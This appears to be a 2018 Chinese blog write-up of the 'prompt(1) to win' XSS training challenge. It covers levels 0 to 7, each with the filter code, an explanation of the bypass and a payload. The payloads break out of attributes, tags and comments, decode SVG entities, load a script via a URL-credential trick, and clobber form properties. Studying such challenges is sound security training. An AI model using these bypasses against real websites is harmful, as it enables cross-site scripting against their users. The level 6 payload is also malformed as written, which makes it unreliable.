XSS练习-prompt(1) to win

第零关

Text Viewer

function escape(input) {
    // warm up
    // script should be executed without user interaction
    return '<input type="text" value="' + input + '">';
}

Answer

对输入的文本没有进行过滤措施直接输出,可以闭合前面的 input 标签再构造 script 标签

"><script>prompt(1)</script>

第一关

Text Viewer

function escape(input) {
    // tags stripping mechanism from ExtJS library
    // Ext.util.Format.stripTags
    var stripTagsRE = /<\/?[^>]+>/gi;
    input = input.replace(stripTagsRE, '');

    return '<article>' + input + '</article>';
}        

Answer

利用正则表达式过滤了成对出现的尖括号,但浏览器会自动补全右尖括号,所以只要不输入右尖括号就能绕过过滤

  • ?:表示匹配前面的子表达式(/)零次或一次
  • [^>]:为负值字符集合,匹配未包含 > 的任意字符
  • +:表示匹配前面的子表达式一次或多次

<img src=# onerror="prompt(1)"

第二关

Text Viewer

function escape(input) {
    //                      v-- frowny face
    input = input.replace(/[=(]/g, '');

    // ok seriously, disallows equal signs and open parenthesis
    return input;
}       

Answer

过滤了 = 和 ( ,利用 SVG 标签,该标签会将 XML 实体(转义序列)提前解析再加入标签,从而绕过过滤

<svg><script>prompt&#x28;1)</script>

页面遇到 javascript 代码时阻塞 html 的解析,先执行 js 代码(也就是上面的 escape function)。此时输入中的 xml 实体未被解析,从而绕过过滤,并将输入 return 到 html 文档中,继续解析 html。

当遇到 svg 标签,先将其标签的内容当成 xml 解析,此时解析输入中的实体。

当 html 再次进行解析时,会把已被解析的实体当成 html 代码执行。

也可以利用 JS 中的 eval 函数
<script>eval.call`${'prompt\x281)'}`</script>

第三关

Text View

function escape(input) {
    // filter potential comment end delimiters
    input = input.replace(/->/g, '_');

    // comment the input to avoid script execution
    return '<!-- ' + input + ' -->';
} 

Answer

将输入转化成注释,并过滤了->防止闭合注释。但使用--!>也可以闭合注释,并且绕过过滤

--!><script>prompt(1)</script>

第四关

Text View

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

Answer

这题使用了 RegExp 对象的 test 方法过滤输入,可以利用decodeURIComponent()这个函数可对encodeURIComponent()函数编码的URI进行解码的特性,将 %2f 解码成为 /

payload 为//prompt.ml%2f@localhost/xss.js,让 browser 把prompt.ml%2f当作身份验证,然后访问localhost/xss.js。(URL结构

第五关

Text View

function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
}        

Answer

过滤了>,on事件和focus事件

  • |:或操作,字符具有高于替换运算符的优先级,使得"m|food"匹配"m"或"food"。若要匹配"mood"或"food",请使用括号创建子表达式,从而产生"(m|f)ood"
  • .:匹配除换行符(\n、\r)之外的任何单个字符
  • ?:该字符紧跟在任何一个其他限制符后面时,表示懒惰(非贪婪)匹配

在 html 中,属性描述不在同一行仍然可以生效。将 type 覆盖为 image ,用 onerror 事件(multi-line)触发XSS

" type="image"  src=# onerror
=prompt(1) 

第六关

Text View

function escape(input) {
    // let's do a post redirection
    try {
        // pass in formURL#formDataJSON
        // e.g. http://httpbin.org/post#{"name":"Matt"}
        var segments = input.split('#');
        var formURL = segments[0];
        var formData = JSON.parse(segments[1]);

        var form = document.createElement('form');
        form.action = formURL;
        form.method = 'post';

        for (var i in formData) {
            var input = form.appendChild(document.createElement('input'));
            input.name = i;
            input.setAttribute('value', formData[i]);
        }

        return form.outerHTML + '                         \n\
<script>                                                  \n\
    // forbid javascript: or vbscript: and data: stuff    \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
        document.forms[0].submit();                       \n\
    else                                                  \n\
        document.write("Action forbidden.")               \n\
</script>                                                 \n\
        ';
    } catch (e) {
        return 'Invalid form data.';
    }
}        

Answer

这段 Javascript 代码用用户的输入构造一个 form 表单,表单的输入(input)由 JSON 格式的数据解析得到,表单的网址(即 action 属性)由用户控制。但使用了 RegEsp 对象的 test 方法过滤了javascript:vbscript:data:关键字,阻止伪协议执行脚本。

由于检查的对象是document.forms[0].action,如果表单中有多个 action 值,前者会被后者覆盖。比如输入 payload:javascript:prompt(1)#{name="action":value="xss"},这时判断条件中的forms[0].action指向的是 name 为 action 的<input>标签,从而绕过过滤。

name 和 id 两个属性可以用来覆盖真正的标签成员,以此绕过过滤。

第七关

Text View

function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
        // title can only contain 12 characters
        return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
}        

Answer

map() 函数构造一个新的数组,其中的元素是调用数组(segments)的每个元素执行指定函数后返回的值。该段代码将用户输入分段以段落输出,每个分段不超过12个字符。

(To be continue...)

posted @ 2018-05-17 09:32  4shen0ne  阅读(2916)  评论(0编辑  收藏  举报